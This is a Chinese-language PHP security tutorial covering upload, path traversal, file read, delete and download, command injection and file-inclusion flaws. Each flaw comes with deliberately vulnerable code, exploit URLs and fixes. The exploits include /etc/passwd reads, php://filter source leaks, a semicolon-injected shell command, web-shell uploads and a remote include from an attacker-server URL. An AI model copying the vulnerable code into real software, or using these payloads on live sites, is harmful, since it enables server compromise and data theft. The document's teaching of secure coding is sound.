文件上传漏洞($_FILES + move_uploaded_file 未校验)
漏洞代码
<?php
// 危险代码:未校验后缀、MIME、文件内容,直接上传
if(isset($_FILES['file'])){
    $tmp = $_FILES['file']['tmp_name'];
    $name = $_FILES['file']['name'];
    // 直接移动,无任何过滤
    move_uploaded_file($tmp, "./upload/".$name); 

    echo "上传成功";
}
?>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file">
<button type="submit">上传</button>
</form>

move_uploaded_file() :将上传的文件移动到指定位置的函数。

$_FILESPHP中一个预定义的超全局变量,用于在上传文件时从客户端接收文件,并将其保存到服务器上。它是一个包含上传文件信息的数组,包括文件名、类型、大小、临时文件名等信息。

$_FILES["表单值"]["name"] 获取上传文件原始名称

$_FILES["表单值"]["type"] 获取上传文件MIME类型

$_FILES["表单值"]["size"] 获取上传文件字节单位大小

$_FILES["表单值"]["tmp_name"] 获取上传的临时副本文件名

$_FILES["表单值"]["error"] 获取上传时发生的错误代码

漏洞利用

1、直接上传 shell.php 一句话木马,访问 /upload/shell.php 即可执行代码;

2、绕过场景:黑名单仅过滤 php,可上传 php3/php5/phtml

3、配合目录遍历:文件名 ../shell.php 穿越到网站根目录。

修复方案

1、白名单限制后缀仅允许 jpg/png/gif

2、校验文件真实 MIME、文件头;

3、重命名文件,去掉原始文件名;

4、上传目录禁止解析 PHP(nginx/apache 配置)。

目录遍历漏洞(读取目录、scandir/readdir 可控路径)
漏洞代码
<?php
// 可控路径无过滤,存在路径穿越
$path = $_GET['path'];
$list = scandir($path);
foreach($list as $v){
    echo $v."<br>";
}
?>

危险函数:

is_dir() 函数用于检查指定的路径是否是一个目录

opendir() 函数用于打开指定的目录,返回句柄,用来读取目录的文件和子目录

readdir() 函数用于从打开的目录句柄中读取目录中的文件和子目录,流式逐个读取

open_basedir:PHP.INI中的设置用来控制脚本程序访问目录

scandir() 函数返回指定目录中的文件和目录列表,以数组形式返回,一次性读取文件

漏洞利用

1、访问:dir.php?path=../../etc/ ,读取上级目录、系统敏感目录文件列表;

2、open_basedir 未限制时可遍历服务器全目录。

修复方案
// 限制只能访问当前目录
ini_set('open_basedir', __DIR__ . '/upload');
$base = __DIR__ . '/upload/';
$path = realpath($base . $_GET['path']);
// 判断最终路径是否在允许目录内
if(strpos($path, $base) !== 0){
    die("非法路径");
}
//第一层:open_basedir:PHP系统级限制,任何访问外部的操作都会触发错误
//第二层:realpath() 规范化:消除 ..、.、符号链接等路径遍历技巧
//第三层:strpos() 前缀检查:确保最终路径确实在基准目录内,即使 open_basedir 失效

open_basedir:PHP的目录访问限制指令

__DIR__:PHP魔术常量,表示当前脚本所在的绝对路径

ini_set('open_basedir',__DIR__); 设置配置文件中,只能访问本目录

realpath() :

1、路径规范化:解析所有的 ...、符号链接,转换为绝对路径

2、路径存在性验证:如果路径不存在,返回 false

3、消除路径遍历:将 ../../etc/passwd 等危险路径解析为真实路径

strpos() 作用:查找子字符串首次出现的位置

任意文件读取漏洞(file_get_contents /fopen 路径可控)
漏洞代码
<?php
// 危险:参数直接传入文件读取函数
$file = $_GET['f'];
echo file_get_contents($file);
?>

1file_get_contents() 读取文件内容

2fopen() fread() 文件打开读入

漏洞利用

1、读取本地敏感文件: read.php?f=../../etc/passwd(Linux) read.php?f=C:/Windows/win.ini(Windows)

2、配合协议:php://filter/read=convert.base64-encode/resource=index.php 读取源码

修复方案

路径白名单、限制根目录、过滤 ../\/ 穿越字符

任意文件删除漏洞(unlink 可控路径)
漏洞代码
<?php
$del_file = $_GET['file'];
unlink($del_file);
echo "删除成功";
?>

unlink() 文件删除函数

漏洞利用

del.php?file=../../config.php 直接删除网站配置文件。

修复方案

1、统一拼接固定目录前缀;

2、realpath 校验文件是否在允许目录;

3、禁止传入 ../

任意文件下载漏洞(header 下载头可控文件名)
漏洞代码
<?php
$file = $_GET['file'];
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=\"".$file."\"");
header("Content-Length: ".filesize($file));
readfile($file);
?>

修改HTTP头实现文件读取解析下载

漏洞利用

down.php?file=../database.sql 下载数据库备份、配置文件

修复方案

固定下载目录,校验文件真实路径

命令执行删除(system/shell_exec 拼接可控参数)
漏洞代码
<?php
$name = $_GET['name'];
// 直接拼接进系统命令,命令注入
system("rm ./upload/".$name);
?>
漏洞利用

shell_del.php?name=1.txt;cat /etc/passwd 分号分割执行多条系统命令

修复方案

使用 escapeshellarg() 转义参数,禁用危险执行函数

<?php
$filename = $_GET['name'];
// 对传入参数完整转义,隔绝命令注入
$safe_name = escapeshellarg($filename);
system("rm ./upload/" . $safe_name);

原理:所有特殊符号 ; | & > < $ \ 都会被转义成普通字符串,无法拆分执行多条命令

文件包含漏洞(高危,include/require 可控参数)

常见文件包含函数:includerequireinclude_oncerequire_once

1、本地文件包含 LFI 漏洞代码
<?php
// 未过滤直接包含
$page = $_GET['page'];
include($page);
?>
利用方式

1、读取本地任意文件: lfi.php?page=../../etc/passwd

2、PHP 伪协议读取源码(无文件上传时): lfi.php?page=php://filter/read=convert.base64-encode/resource=index.php

3、包含上传的图片马: lfi.php?page=upload/1.jpg(图片内插入 PHP 一句话木马)

2、远程文件包含 RFI(php.ini allow_url_include=On)
<?php
$url = $_GET['url'];
include($url);
?>
利用方式

rfi.php?url=http://攻击者服务器/shell.txt 远程加载恶意 PHP 代码直接执行。

修复方案

1、关闭 allow_url_include=Off

2、使用白名单限制包含文件;

3、过滤 ../php://data://http:// 等伪协议;

4、定后缀:include($page.'.php'); 强制只能引入 php 文件。

更多推荐